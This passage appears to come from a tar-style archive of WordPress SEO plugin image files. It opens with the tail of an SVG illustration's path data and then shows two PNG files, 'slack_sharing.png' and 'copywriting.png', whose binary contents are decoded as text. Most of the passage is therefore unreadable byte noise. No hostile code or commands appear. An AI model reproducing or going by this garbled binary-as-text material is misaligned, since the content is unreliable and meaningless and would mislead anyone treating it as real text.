4.8-4 5-6.8-1.8-1.2-2.8-4.6-8.2-2.9-5 1.6-7 4.2-8.3 9v.1zm2.8-3.7a4.4 4.4 0 1 1 8.798-.2 4.4 4.4 0 0 1-8.798.2z" fill="#FFF"/><path d="M145.1 75.33c0 .5.5.7 1 .9a8 8 0 0 0 1.2.1l.1.2a5 5 0 0 1-1.4.6 2.4 2.4 0 0 1-2-.4c-1.8-1.2-2.8-4.6-8.2-2.8-4.9 1.6-7 4.2-8.3 9h-.2c-1.2-6.7 4-11.3 9-12.5l3.1-.2c2.8.2 5.2 1.8 5.7 5.1z" fill="#000"/><path d="M106.7 61.53c-4 0-8.2-.4-11.7-.3-3.6.1-8.3 1.7-12.8 4.6 1.9-4 8.5-7.2 12.5-7.7 2.9-.3 6.8-.7 9.7-.2 3.7.7 5.6 3.1 2.3 3.6zm24.7 5.6c2.3-2.6 6.8-6.2 9.4-5.8 3 .4 3.5 1.2 5.4 3.6.056.898.056 1.8 0 2.7H145a7.6 7.6 0 0 0-4.7-2.2c-1.9-.1-7 1.2-8.8 1.7h-.1z" fill="#B2512B"/><circle fill="#000" transform="rotate(-78.1 97.1 80.83)" cx="97.1" cy="80.829" r="4.8"/><circle fill="#000" cx="134.7" cy="79.329" r="4.4"/><path d="M106.3 109.73a40 40 0 0 1-10.3-1.3c-1.9 2-.1 6.6-.7 9.2-1-3.4-4-8-2.2-12.4a28.7 28.7 0 0 0 13.2-1c9-2.8 6.6-6.2 12.6-6.5-5.2 1-4.4 11.4-12.6 12z" fill="#DB7A53"/><path d="M54 29.03c3-3.6 13.5-5.8 20-6-.5 1.3 4.5 2.7 4 4a37.3 37.3 0 0 0 8.4-.2 3.5 3.5 0 0 0 .4 2.7l3.8 2.6a44.6 44.6 0 0 0-10.1 5.9c-10.5 8.2-7.5 13.4-9.9 25.4a74.9 74.9 0 0 1-4.4 11.9l-12.4 7a10.3 10.3 0 0 0-5.3-.7l-.3-.4c-2.2-4-6.8-14.2-7.2-18.8-1.4-11.4 1.2-25 10-32.4a18.5 18.5 0 0 1 3-2 9.8 9.8 0 0 0 .1 1H54zm2.7 55l1.4.7 3.5-1.6a5.5 5.5 0 0 1-2.4 1.9 10.4 10.4 0 0 1-1.2.2l-1.2-1.2h-.1z" fill="#838BC5"/><path d="M127 22.23c-7.5-4.7-7-2-15.6-4l5.2-.4c-13.3-1-28.6 3.4-30.1 9a37.3 37.3 0 0 1-8.4.2c.5-1.3-4.6-2.6-4-4-6.6.2-17 2.4-20.1 6a9.8 9.8 0 0 1 0-1c0-8.2 10.8-17.8 30.3-15.8 13.4-14.3 42.4-21 61 8.1-13-7.3-16.2-.2-19.3.8 7.8-1.6 27.3 3 28.9 24.3-1.7-7.8-8.4-8.6-13.6-8-1.7-2.3-3.5-4.3-4.9-5.9-4.5-5.2-3.5-5.7-9.4-9.3z" fill="#0071BC"/><path d="M137.4 46.73c3.4 14.5-3.1 19.3-22.4 18.8 12.5-8.9 11.5-19.3 2-26.1-8.2-6-14 .2-26.4-7.3a46 46 0 0 1-3.8-2.6 3.5 3.5 0 0 1-.3-2.7c1.5-5.6 16.8-10 30-9l-5 .3c8.6 2.2 8-.6 15.5 4 5.9 3.7 4.9 4.2 9.4 9.5 1.4 1.6 3.2 3.5 4.8 5.8 3 4.2 5.5 9.6 3.5 16.7a26 26 0 0 1-2.6 6.2 14.6 14.6 0 0 0-4.7-13.6z" fill="#0071BC"/><path d="M126.1 69.33h-.7a14.6 14.6 0 0 1 3.2-1.7 14.8 14.8 0 0 0-2.5 1.7zm-.9 17.8l.8.8c1.2 1.8 2.7 1.5 6.3 4.8l.6.2c1.8 1.7 2.8 3.7 2 6.4-.2 3.2-5.3 8.2-12 5.8 5.3-1 6.9-.8 7.6-5.6-.2-6.7-8.3-4-10-16.5a17.3 17.3 0 0 1 .9-8.8 9 9 0 0 1 1.3.8 16 16 0 0 0 2.5 12.1zm-2.1-14.5a6.3 6.3 0 0 0-.6-.3l.5-.9c1 0 .4.2.1 1.2z" fill="#DB7A53"/><path d="M56.7 84.03a12.7 12.7 0 0 0-3-1.7l12.4-7 9.2-5.2c-1.3 1.7-1.6 4.2-1.1 7l-12.6 6-3.5 1.7-1.4-.8z" fill="#93278F"/><path d="M151 92.03c5.5-1.8 14.3-20.4 5.8-23.5-5.4-2-24.6-.6-29.9.8-29.7-.4-42.2-3.3-49.3-.7a5 5 0 0 0-2.3 1.6c-4.3 5.5 3.1 20.2 8 21.8a46.3 46.3 0 0 0 12.5 1.6c11.6 0 14.8-2.2 16.6-17.3 1-.6 4.4-4.3 9-2a10.6 10.6 0 0 1 1.8 1c2.9 17.6 2.5 11.3 9.1 17.5l.6.1c5.8 1.4 13.9.5 18.1-.9zm-40.5-17.9c-.4 3.6-1.7 13.4-4.8 15.4-4.2 2.8-17 2-21.7.4-4-1.4-11.5-17.2-5.7-19.3 5.6-2 23.8 0 29.6.6 0 .2 2.8.3 2.6 3v-.1zm2.1-1a4.8 4.8 0 0 0-.6-1.8c7.3.2 4-.5.6 1.8zm10.5-.5a10 10 0 0 0-2.7-1.2c4.2.1 3.1-.3 2.7 1.2zm27.2 17.4c-4.7 1.6-16.3 2.5-20.6-.4-1-.7-2.8-5.1-4.5-15.3-.4-2.8 2.6-2.5 2.6-2.8.9-.2 4.3-.7 8.5-1 4.2-.3 15.6-1.2 19.7.2 5.8 2.1-1.6 18-5.7 19.3z" fill="#5D237A"/><path d="M45.5 82.33c-4.2 1.7-4.4 10-3 14.8 2.8 9.2 12 17.6 21.7 16.1 5.2-.7 1.5-5.7-1-16.4l-1-5.6c-3.3-7-9.4-11.7-16.7-8.9zm13.2 13c-.4.4-4.4 3.1-1.2 5 2.2 1.5 4 .5 3.6 2.6-.3 1.4 0 3.3-2 3 2-3-1.1-4-3-2.9s-5.7-5.3.9-8.2c-4-4.8-7.5-12.8-10-.5-3-9.7 3.6-17.3 11.7 1z" fill="#F9BF8C"/><path d="M58.7 95.33c-.4.4-4.4 3.1-1.2 5 2.2 1.5 4 .5 3.6 2.6-.3 1.4 0 3.3-2 3 2-3-1.1-4-3-2.9s-5.7-5.3.9-8.2c-4-4.8-7.5-12.8-10-.5-3-9.7 3.6-17.3 11.7 1z" fill="#CE6D42"/></g></svg>wordpress-seo/images/slack_sharing.png000064400000034240147510273100014146 0ustar00�PNG


IHDR�����KPLTEt� ��5��.�}G����bУV�/m�"g�8GnlDM�+k[ KO4/pw}�ZHX>������1&%�[+XnI��÷}S�M��8IDATx�܇�(DA�n�x�q���kdk��G�cI�-)@o�r_ڹ��5�N��H�Ss�Co�]ӝ+��|��֔~@=�����郻I�~�.)�=V��W',t��;��Ӡ�t�X���!����=B�B��Z�!t ,:p����:0B��#<GFXt`�Ё1B2p�@�B
: t@�Ё���Г�CR���$�B����[��])�ԍ�1���eS���n�$B�����{l�=P^������J�׬=^���B�+Co
����S�W���
=B���&@���ð�+�F�z=�C�c9�ؒ%	t�;�$a�=�^N� a���rfA�:,�\�OX��_���\��=��w&J�2;MW%����x�'� FV[�5g6F���K��A4�4�(+x.܋�G{�Ļfe�9~q5�w~l�.�i��]��dW�w�Ũ�0�I�Hͱ	���-�m�.�[P>�<���|9hhWAX}�u�<�d��(���<�|�(�~P�_E<'5�kJ����WӅ�@Q^�d��Q9&�+�
bu�tU]yMH���㒚��b����R�G�#��P��5]��|E���B6b���(Z�3�	���H�?$��|���:�YHbp2���
�j�%�]m��"|R������}��r�~��mˉw�a&�@��=��!�{�4�?Es�;!z���O�/��ʪ�:��֝�6�ނ�)4�D:�l�[����6v���y��ը��~��g�R>r��%�C�·����R�s�W�{ߙ&'��NHR'E�rP�t��or��$A4?󟳵�*.�[)�
���� �g���u�mJt�<m:��f:}��"��y�Rv��:V&�k���t�ۻ��Dq��s��E���j;�����+�K݃��u�(����<�!��M/�������"��^o�)�f�{(��t�ަvWD�����yf5ѵA���x�ϳ�~٘���u	o�6=�w�h�7���1�]�uE��=�.T�����ہ;x_�[x4�E��[ܡ�*�����o�O͡���8����)a��>u�_^��=������"�\����k�~��n�A�_Atu�D��>��C͇��3pY�wA�_����[�u=�F����'a��b�U�]Z��EDיq�ס{���G_}��/��}!:�}�wE?z_�^�O�(��Mw��(��:5ζEb-���"��׉�D��ѭ3�x<V��=�H��Qw?]�u��+�����"�ʷ��R���7!��wN���wE��|�T����������L�����(�q��`��*���7ԑ��(�p�Dw�|�ؽ�':���`����v\��{P�)�=���ף��&���bw�z�_<&��Tt��v��w�kI!�\U�S��#�Ï���D�>Ot���t]�b���YU5]<�-���A�!�<с�4	�� ��n��N����tW|��/4}���:{F�T�}�6��|����|��:"'�[�#��P�gj��
���Uw>�yRt��P>����}��Eݹ��꼝��)�yLuxƘg�1s���9������>	�yJ���D����@4�.%���ɪ#��aB�3?3E�M�_��B������S-�骾���"/���"|(Yg���k��P�Gt����Pu�`x�M�aCM��L�[�;�\E��4ѡ�I�}l�*�[�F��7w��&,�M?����r�}�����?G�9��s�WB�ȽS���ܿ<ϋ�ȳ��7���?@y
*:���Q��P��1$�yyXBz���Lmz6����)��(�����~�qsϩw3��`$޸�@�2]T��BQ�M؎���v��@������4]�6��U��E�;PTt�Dh6�)i	w�xzX��RL��d�+h�_�(
�P�e\��BQ�wC������t�{���M[u�{�Tc��ʳt۵1o�9dW�CEEߴL�{��bz���|�����n��1��z�5����Y���l �F�%�O7�Uo�D]�q'
D�8��V��"���5h�,}{��QxK3�6kձ�9��"4/���#E���(��	� ��,tEE���~��Cц��V��
���qh5�=_���;���^T/��+������"!��ʍZ��y۞y�V�t�̓)�9{.�y�uY�oz6K��	�W��I��;�}�;w��86�����"/Z�Y��+*���nҁޫ�#�Zu�h�(1��(�Mө?qW�sI��E�C6d�8EE6�LՏ�*I�.0-,0�dD���M0���
�L�\� ��XeV���3lO"@��>�[�!J�p�����XI�^T�=�+�C�h�/;�QT��m�%�D��-�`m���KC����I������/WD�PY^����@��;gAyATt��Q����2懓G���"��2F��#_)j˙�����/�J�kd?ԫL�L�i���Df�fy�_�|cg��ž@�L�ɋ:�;����ϻ{�[�,�J�:��U��FE�k��)t��]GnF�yN(*�妛&̋[����/.o�߬�����.*zS�è�G<���mm��Aٜ�R�J�aQĮL/�����㢋���tݾ�蒠t�8��=KF� !�4es0�dT�1���\��^�D"��l�b����[m�[�U㺧�L����6���K�E���cq&�
�;�_j�a4ҳ;xP>��E�TX�J^F��S��Wxׅ{�|L�z\��<���Ft�C�YbM_R����ĥD�Sn���" ��ro(%�8MѴ֍��7���k1��{���h ��m�ْO�w�u����ݶ~3�eh�.7X^zU˫$�%����#y
����Nq�J]Ϲ8�Nb�`���.Gq����C�ۼ��7�w�f���1s�|%�i��<6ױ��S��pP
���U�e?eUw|�@o@����@&4_`:��_3�����˷3g�S�K�;o����H�Ђ�W����r���H��_��Nk�l��"z��</�{�l%���`���HDG��Oåϭ���)�w`���Z�J�#/2����^�����ƪci^�l�C�1r�����1�*vZJ���Ieg�r�%�g�ʮ��;��W.&=$��W�7��k��z����b�;G��y�G�r��I�Z:�k�ԇ1����$� "�A>~�@ߔ^�^�.E��u�:�3n��4���%}��t�n���kWψ:�8ѻH���%�CSU��Y3��w:�v�؇h��2o*�R�8|��3m�n���~�B�C�=	�oB��5��M��"�8�OQ�S���T$�E|̢+vkeO��+��.]�(]����aC�N�=�
^:�G�I��8����/MM��RZ?��C�)���/��(C���sk����#zZzE�s�ڮs�VJg�uƎ_잕���!u7	~�=~nB7y�:�q���?�!Xb�m^{�M�/���/��^��McJ#���=t�R�gEzΒ�z7�t��:φ
?e=���c�1s�8}>�H����φ��җ�.��SN�Ƙ|K���˝�%�ЛC�҉��8�
l/����*t�n�q����yE�Ս�I�r��b��?�Y��6��^���͡��Pw�ZAB�s.��F鯼d���h�`���C7�u|EԬJom7p��ғo-*�PM���q�B��Xy��R426�S0K�5B�t/t��?�omMwĸt����k��뜼ICOG:J���]�.�z�_}p�n�1�1���3@���Rz������qKn6���k�{?}�$/�o�W��q��F�Q��~T������m&�����{��ɥ���e�<W::� ���B+f:��Hw���X9�d�6�(�h#~אyS�C}��@c�t_�vf����Ɨ/_$���A�x%l=t^�1�'�㣐�̤��n����ں�+����J����,�{L��qM�!��u��Z��P����t�-7��K7�����8|�so�=�\:v�`\�_�s�^+��N�(��mMU�_,\�}"tt>�6t�k���7Ä~�y��l�Ћ�	K?�9�j�0X��ͺ�t?�KWc�8:��.�^�'�BG�������kG���6�w��,_�W��|oh ���5���}��;Ω���hE�˜Z���x*��_ց75�34��s!ʝ�B�V���c��K�&�����c�
5S�5c�t�jS�D��B�~6}�/��u5�P���%ɃG���+��Щ�3�V�q�ϧI�t?��z�y������[N��Bꍩ��񬘪��<%�H�
�wgoi�iؾw�U�=ͥ�_+�?+�=˶�]�R��9��ʥ?�n��:�u�7��/�؃֊W�ťqK]~'um�zE�P��1V�B��%���ғ������w����P�d~B}u������>ek��ҳ�1�z�?�,s��t'BG�q�;b�fưu�~^zc:lV��z؎��K��b�>~&�<�oP9~%��n�zW�0�)�|W���u��51t��O�.	���A�AK!�
�,-쏏���Z�հ��؄�� �Ė^g/s�V�օB��l�>��<<�&"�BYZ�p���ZA��M$4BF�}&IX���m�C�A�OaF��l?�.�u����>��;��9�&	��RV�n���g�$[�W�<Wk�u��F�ЍA�8X ��8[�{�/{g�#���.54����c�ݠm�]�c�Q�Iw�
>=mK7�S���nw�[���a��C�쮥/C]�Qo2���C�ݸ<t�ֻ�L����Yto�O��w�Kk]p�
�'W���4�c�#�c5-��A*��B�(}��:C�:'zg�Q�pi�&~"�6��a�������=h]�%~�\��5̈́�ۑ.�^�n�A:�5BG�;,}��z50�>��p���k�x���9ԑ�F�k�5<�:v6����uO!t�ѶA��$�t1�t��6���w���H�٬������E�������B�c�F?�������+Z&�+�x.�O���s��r�Z�݄�ӆ��AI/�6�<��51v�[\@+)ʗ�c����DǕ�1t��f:t�%;�7ִ�\b��!F;/��ZEٝ.
k�g�>g��%���9Bۇ>�tAC��!��;ϋwvWRJ�!E�FZ��gf=�8.���	ݶ�I�+�.���������iG؄�����e��ftpy��Co6�J'��u��Q[b�+����@C9tg��|ڣ���M�{E�1���4Z�?���%����;l�G�=��i��]z�1�62q����J�`3Փ҅��#�")�^	˱8;��S=ݎ޵�C�s�^��_�Q`�O��.��q�^�0�sB��F��6c�������\�O�X�Z�7���#�vK7���w��nڌKK�Y�K��ȁؖ.�+Zc��4��P���qŌG�n��#q�,��fy�hS��n{<Y�Sg7'4����tc��{�w�}���y�c禝y��<5A�C*y���h<A�ݖ�:G��L��4:��%\>�c�Ѳp�e�.-��B�K�}�=c7��W,�4y�:�l�;�>�Ex�y��OC_��]��Թt�+��f�Yv�
�?�K��v�B7ôE���Z�s��p��1vK��C7|X�nڂn�%����E���i�����h��B�k�J�j���Mw��IG����.���HKJ�Hg�%Q�q�kw_\�t����ЗJ��zl�+ޥ��R�d/�q"w�(���F?f��.]��_�g�kwvS�ԹM�u�_�:�^b�;ߌt-����㑅�RY�����و��#}�z�qI�;3L�-jz�*t�ÚVr�^*I���=���nu�H�a������Q�x��4����O������Q�&��w���1�=����ի	�%s����t{��5��nF�����gɖ�;�^d��:�(_�J��E�Οn��tv+
�l��Y�L���*KIu�|��_�^:�}//���1v8��s���t����tR��[J1�c�y��>
�<킱p�(t����W��C�t�^�d���n��Г���TZO�w��²����Mz�8�lj��H���8u�-U�A�1��˧��,J����9B?�I�3�l��]���t��RoS�<$Z��ٴt��� �>~w��M�s]�O�B��e�\�G���f]��@W��.���U��K�/a�C��2���Mz�o��^��R�J�m^뎴�?u��t����W�p��&}�\��X����B�R=&���m���i�|i1~2��s\,��&}���*�ԫ�@寋Sɟ��f�J��I69��MY�j����n�w�к]���/���.aWh|E��4�j�ͱ<��t��*�ǝ��p��ő^��M�JO)!::_C�؆�ߨ����g�NtN���$����G����M�K5����9�j�Wc�����ӣQ�a�T��F��t���(�VJ�,�>�0~lJ�
�z���V��OQ7�x����.��Ғ+\wp�=�ϼtI��N���Od���_�;���M�z���Ĩz^��^=�����[��c���h�wY���sY�J�Br�\	:Bߔ�΋�?@�96�)���{�sG�?�̛��hC�d�4�_�= �}kչA��k��{���q���\zrI�k#��
�#i�>2]~#t_�w>]���DZO��Z	Zii���n��1:��m�����|����2ƪJ�?U9�������$�Hl�W�ְE/��t~0���XUW�����Ѣ>�W.���n� �Og���80_`|����Ǫ�E��Py�����:�t@*���^=��כ�q:�S���q���ٌ����n�9BS}:F�UG�?��b��W�z���6��}q{��W��X�@<�o�߆�CN�)�A�=zi��gG���o�=:�L2��y�8I�ԇy	ݾ<Α��z�9����g�ۇ:�h��УWw��|���sg�!Ji>��i�%�>a��\�}i՞��n����WV��@܈�Ob��a}���GzE2=:{�|���k���B�������"ƪJM���;wt^Sz{!t��}��U���)�"Icu�{�́Ň��M��Ng~=�F��:��P!t��$�?}�*�S�xԫ�r(n;�i"������
��v��B��C�(� ��716
���/v�Mt�I��؟&���ȥswj������Ԡ͵sk��ih�!�t���y�^����q�;溠?�1{��vI������z�#s"ug.9�'Ż�;�B�hK<�,���pDWFzCk2
�0v�m��Erݙο�D�}�!�������5s�W��'ԓέ/25�栻P�s�$.r/��jw�#tw*tk�C�y��K����2;�-����l��c�r���{���ݺ΍�����:���f^QޱȯS��X����IC�:�y��v����]]WU��=7�]�W����x����;WJ��C��(s��nד~"����uE?Â�M�ɽ�%]Pߍ�!���:���]����]]����&�Ty�[��Z�^
�f�;�4߄n�ت]�54O�z��@�s�ѣ����%��d�#�g~8��\V�1����u����sgǯ�t����ʝ1�g��7�7���ѳt�M��g�N��Ց0���SX��p�W:$n�2Vl�?��3[��g�ӒXc�H��y~�^|'ࠤ���]��t����ڏ��弁�ys��]R=�ߌt�������һ"�i���
���n�T��<ғ��;��}�!>h�K2��;���>�Q�Г���\>����}螸�G���\:�Gs�|�pTA���eB�o��+ǡ�v��`�)Ax�M�o��<�L�1.?���9w�h�.����plz�Y�$��֝|�]�Ǣ�#����ݲΙ �pq-�ڒ1~���Y|vY�;��A�t��z��N��9�d�g7�����t>�.�H�p\�l��;��|�a��ŸN�|eM�����^K�-�~$��鼿I��.'�|��Ң[e�2g��rg��@n�Yg�{���|���[eHJ���¡i��LgI�}\�9��a���L:]��G&�!	}��%��R���l��[*�y(5`�G�4ۺ�$�0��؝nx�v��蜔��88>��i�6��ɡ��1�v���[���\�@��pP�N
gۆ�=���6Ρ7���y��0��4�?�
�s��mB?+����l؃�?�u>}����9�gC����OcƟ��Bo�����|:M;��@d;�(tY��;~VzÙW�\ܬܵֆ
@e;�(t��<[z���5;�-��Gq.s�ΡoC���1�y���s#���9o��Q@?��o:scݑ3�*����Gz�Q��4tޯ�H����G���3���H:��<t!��a��Wf�����l�ғ�jJ��;縵�Cp���/�+ڌ�u�>ф����B�$̅R��R�a�Q-�\v��ڧ�Eӆ�3�� ��<��1ܥ�ܓ�KGz�V�$�L瀅��\=s�Ŵ�S[��e^�s�ͅ>x��!Kk��ڡ��z�nK5�wN����:�_־�6���x����_�3A��{`eP��4��@�}�͍s��,�q�pT!tI$:@��\�ធ�^?g���q��;����d�yODb��lT�M��w�{^s����?t��.h$�0I4
}�5�����<�u�O;o]�����N���W�}�]��;�g��ܲ=��g^��Q�ޏ	������ݓ�8ι�Q��࣒?O�n����r���y���^8z
_XS�}D��Л�4�4r��˔־i���<�y��;�αI?>���W��ޕN+��Ɲj�s^���̱���;��S�<DX�s�����I�ik�΋vu�8r?�#&�Z��w�v<�Wg���UX�K~����N�>Owܦ���Mz�q�,ۙ���H?Ӓ�0Л�
�,m�%/�-��/����;G�G�7HM��e�<�KN�zμl{�<U�F�o���n�{�e��G��KO35+�.�AB�XG�G�����͹s�\��C����V�$�Љv����t����mzR��U;�/�*�~�^s��o�]��4��Ɵ�������&�5B';$�+�G����7�2��VΡ?,�y��(����ښV�FI;&�pFd�?+=NK?�ݜs��o�;z�ȭӵaZI�+�<��N�6ᛟ�󥇲����HW�Ι���H��Y���q֏y�|�s2g��Yk�9�S�0�:��x�n:g>����̜5�*�m8�$t�ϰ�Į$�M��άsΏN�m2u��Z:���n�i��աn[�7W܄T�gvJ����[;sw�3�f���\�sT�T���u�{�.���nie����݈��;Q-B���<��;��8I����}�/y�L9O��X�������
�6�M:�y�a�,Փ���$�d߮5J�#Dž�z����v�T9��R�ﶃJ[W�I��w#��d��3�W��yZ�j2�_����]��=����o�s�{+�	�������N<9��{`^�heB&���vd��];q�}�d��,�-ݙ�����v*��gOn~���n���b�Sw��9TN<u��Uڶ�黂øw��\��!p�9��o��O{`#}W0�喝��Λ/�{.3�����6]'���|+�����TW"���ׁ\z���
�f���ܖۺ}mӕ�*]�KzC�	��/��*���;����?�Y�d���@.3�[m��V���M7���V�G:�-�m���;���<t��+u��jw�MW��%8z�ܗ��h��g�.�W�
�V������6]�� �K��t�P������u��:@�>�m5�-�I�s����+3�6;����p���>���e����9��{��t�[y�.���ۺ��Ek��]�_{�=[�{a����[��t��/��?�rW�^ܬ9�6(��*��E�=��./�:ҥ���W�ؠۤ��7m��:���K?��-.���'d�R^�t��=�4	�u��<��nc�老^�e�n�ҽ���g�1���d��j�����Ն9SD�
�;/?���L�&��
S�$���`���.���o�
he��?�2I8�+��m]�g�u͕��};p�^�n{�>ԅ�ڌT��@瀕��Ιu+�t�-�ͷJiô�-�5����
Jo�$o52J�Jk3�r'��E/�����vq����i�.�Bqs얔���կ�k�MBk�� R����u�P�s�V���|zv���R$�k%��P���a\&�26�ަ�v�G�����̍x�Z���Tqf鶝'(��.��̧4�d�����p�0ҙ�q^龝e���ۃ7)��JޞͿ+�*#��'���r�\c.Tn��RZ�_�@�K�0�_:w�4F��y&'m����>.ݽ�v$�\�$'�+>���r�
|�Й�S��3�黥��ʌ�9�j���-/�N���yݏ�K�J~�9��ς�X�M��B���;���f��ʥ?Z���#���Lh�%����r�qF�M�H���k��2�V.�u�J�K��A��=|�l��{g�T�$��a��/��i�5�{]l[�t��ǥP:@�{����(�oP:4�;#t"��<n�A�&������`W	��v�n��L��tJ�u��`W*��ҷ����t�Jo��[��,���n���Y����HG���~L�{Rz��H����y���)���;z���K��/%�J���d=S:�$��{�� p�ހ/Y�|��ő��3l�බ�13�݌�/��:� tf�o�s8�x�^Ǧ��G� tOs�'�w��J]*���%�3O{��?M� �UK@�V�+e��fY��dտ`-����ʢЃ6_�ٻ��V�����*
�N����$��I6�T���Nҭj��a�pW�y��z��w��S�ð���y�|�|��Ҹ4�c�瑻�б�����K��IJ�Otd�\���kzW�y��za��K���pH�v�k'��8��"x{%�(=_P��B�^�KO\1#j���d�~����cK.V��9P�MY�5��t[����n|��(=�+�mѽ����?�r�
�f	��}[zlɅ�Ξ�
�{����R��'
��s~��it������!��G]8�VE/D�2�bҪ�$�E`��	f:Ԅ>�2]u5�G�!,
���z&-�y�j�/D6���5����L�t����{bNQ�;=ݥt��d䙃�so�P�Э��=�C�s�%y-��E���:_bŰ�b�
����}z���&*t�B��7;w_�磭a��*���k��Bt�=�&�1Ն~N�mݹ~�z+��|�_�ZCm�ͱw�="�'��5J{q�0�ƪ���˾��$j%ce�-mk>�F!L�4����:=z3���ʆ�л���?z�2a�c�	��woա�ĶA���$6�Lt����=@W5�M�$�m�+���US���^�͉↴��/ʙά�8����̻����ĵq!���B���{�[��-����|�IW��޴p����Ta�QJ���j�j7�--+����p~G�΋��T)��C�s�B.�*���{�.�U��m��.d� ����/
��v0�ǡ�p����o���]��R�S���
O��P�.����|;�\�Z	�0�_��9���v�f��D���tnJ9�
w;�;w����o�]i6�+B�z]�����˩�pO���u����6��=}ϑ���
A��@���V�q��c�����7Co�	],�á�yktkU���W���+���;�}����C��,�VL���N�/������&:�Gތ��psU��Ӄн��p�C�x-t[S��ځ�?n�)q�L8x�=MXz|(c��x���E�����3�8N�������uB�kԏ�ŏ޷��-�>���ݍ_���q�Л6Υ��:���Ǥ����v
=��^���Ч����3*�w�>.5��8F��P��I�o�@�BO�d�b�a@����z��r�t3t?D�cyѺ��������+`���xk��qma�o��|�w�ٓ�k����K笠��Y����v�E�n���6��k������M�ړq��z�s�v0�������+`˱[�i:���_�\���(_��ޖ��[��kW���B���j����0�C��uǘ�!�M�|h�0�����ñ�s}��ڃ�x��L�trߘ:�"!�MT����Xn,v��]�O}�C�������� ;r!JߤjհzJ�^�7���<t���Y:�n�c콇 Zt��г�og������^>];Ǽ��Ӝ�uq>=JU�i}���g�B������W w;�wÉ$�~��>���~��u�\���|1�3"�Z	/Z�����ll�\��q�L8�HW��}e����J��'�z\E
���r�o��;��j��5@��K��a���%,�L��ٜ�da�JcZT~y��t�U@0���s�0�
aR��^ڸ�=0t���՞sJ7�g�F�OH�
������δ��dp�pZ�5��-�D/�	��7o�e��9&�2;2¡t�̠��S�g΄��elB!v�����������NJ���"��^Lt��.�+�>��]�]u�g5�Ǡ>��c@��ʩ��2�����>��Ъap�_(����p�}d��O�I���RlO!y�`�4=�2&�z���-�-(����,��J�jけ�X���gWX�E���y�bc��qM�e]У��<x's�}5�p�MG/X��z:�{�'�L6����s(~ǻ����5�+��e�P�}T`J�n�;䫉���-W��ӡw�{� 
W���/�-3�:ҽґ�.�@3J9�ŷ���*���>�SzYp*Dr������r,��_��D�>e^,=��u7�L9)E�wa�ϴ��;��:� �-��K�o#���Vo_�u�SƏ�K������.Fz.�fw�����}�Ћ0�����-=v�C`��Β^����+�^ma}�.�?z\6:�4:�Z�-r{x�B�$�g5����_�B��R;��ٞg�3#=6�Bh����D>�V�c�O�	
��|��$R1�'߻u%Z���G�K��_$ڇZ>�ӥ��REw�/n?�D����!������{M��Ǧ�~����B8��}0�R�H�o�~T#��(���߹@`!���nЊKK1��l�h
�;�з�=�[T�֧�q�ڋ[��_��/��	}2�k{w
�K9S���e@Qw�ʢ���n�@��h�iQ������>����r�IK��٢�&�x{�b�r��;�h�B�E[7��1�z��9��n���Uz-��[���`7��Ц}Y����]�3g�n�|�P_1��#��iNN}��n&�.~�D��xц�(40�i�/Ӻ�A�?�+�z�w��5fx�JZE�n�n|u���Z+��ӈN3;5�yu�*k0��I�t�Z�
戧�8�W��PVcn�V�!ճ������Ny����C�BY�7�zD��GeE@�޷D����:��ƓÍlxt�f�=��w�����4� �ɛ#UB�i12G3�>c���|/e#u�6V���[�<����P�tz3v�rJ��)������gr����<���c\�1�dfPr�x
���S��0�z�G�o��G�#i�S�4�T2�J�0���)?������l�3�NZyq���;�#��(�����k}K����Ō��E��qLx�q�1o�^�_��"ܶ�IEND�B`�wordpress-seo/images/academy/copywriting.png000064400000012776147510273100015331 0ustar00�PNG


IHDR���hO��PLTEd$Ch"E�R�
]�a|NtK�
ZxL�_l G�T�[�Y���ӫ�̤j��������K��i����sGd��֥!s��顯Ȩs������͈u����.|xRo���I�i0N�d���魍���د�׳��n;Y�W���ލ���<���겵؜������q���Ʊ�ϭ���ᦺ�}^z�����ׇg�����VF���IDATx���7��r��p�[fv�23�\a3����O������ކ��j]�]`!J�+��t���.J��?
=P:�܆(~�s]��t���/C�s�P:t1�S:�6ԧt���q�N�0�׮�)nd�͡6�í���;J�� �q���K�{���J���J���OJ��f��¢ҡ��|fY�P�J>��t(�^>gmT:�4��[��t(<|bcR:T�K=���|ٖҡ�� u��v'�+�lR(�A�O]鰓}��t�K=��Y����Q���[�RW:��*:(}oRzp��ԕ��sT:�/=��^��*��ɷ:R:tPz.*:(}oR:�/=�G�C����A鹬���|�]�7f�n{�ҡ~�y�t(_z���J��T=@�eߺ(���|���M�J�W:4]��{�ҟ�:(�~��V��|[J�_���{�ҟs�A���$X���C9�C~�E�7��Ü)�>e+�R=@���x�Z��q֢�AZԕ��3u�C�E]�8N/��+fiQW:�*\�S:��G�*\:�?��thI~�]�C;n�G:V:��F~�;J��r��?hS:��[T:�uC�L.���7���?��thC��=�?�K�+���
;�8R�k3?Ѥth�һ�{�@���+�4}�y/�}W:6��ؼ��ҡ�ͻ��6�oq�thf��-���4�H]鰝釺���+�s�P0�{+�C�y��J�F�q><P�E���_.�)�㛰��8b+1�S:�i$`I/1�S:�t��,��t���gNJ�&�t�g�%��J�8O�,��p�th����ޥ���/XZ�/�ҡ�6�l�qJ�����9P0�S:4ds%��C�C��\�	�w�c�C��{��J�{w���}y( ��[+i�tܙ�X�����;�m�0nI~��HEEAu��@֒����m�sg��fb0I������
��8���d��A�@�4��������Պ���켡���c��N�(=4����A�H��v� �`ji������J-m��.���4.���[�RQzH@$-�}B��ҟ8W'}B���)�����v}u�P:�)��H:�-�V(}����麽6;�P�s�ݓ�c�������`+�ngݏ"��l@��].�ۜ��'(��BI;�7���OIi&��Vzq��gB�f)m�f���?'��T�ۮ׻� ��A�{U��y��)�.���T���A�b2~�E��^-���ZS:0��%R{�m�Ҕ<A�bT!}�S�t���{�KO�JS:0�Tz�T��o�B�F���q�)��l���=a�n�qd�<�ۊҁ)�^(�<���`�?�V*5���IDx�#Ȭ�+UH{[w7;n�1G$}�U����8p7,0����t���}��_k����(Z�Ÿ�g��t�t`�Cwg��ܵ=����w�=�N�`��0J�rχ�v�:��A�"yDz����z��Y�ۑ/��t`.���������p��V��$�D)e��[���4�C�yLs}���}�v���gJ�YyL�>�/t{zӫ��x����JE�@RyT�>]���N�"�E|<���ҁ�|��X�_�6����Y�>Y�aF�T6����VS:0����HOŇ���Pz��:R:�]"�K$^�)�"�e/^�(�.�H7⇦t�;}6>��(�Q���/N�`/��ԗ\^x G�`$�:�XLp G�@#����1����q���C3*���(X�R��<�pN�?!G�@��H��\�B�J��ʧ���}��Y��UJ�Z�����8�X�c�)𴝖z�/�_��ɉ�d��+�t�=y�����o��Zz���/��2�t��e��x)�t���S:�n�9"�l�����N�)��C�6��H�7J�h
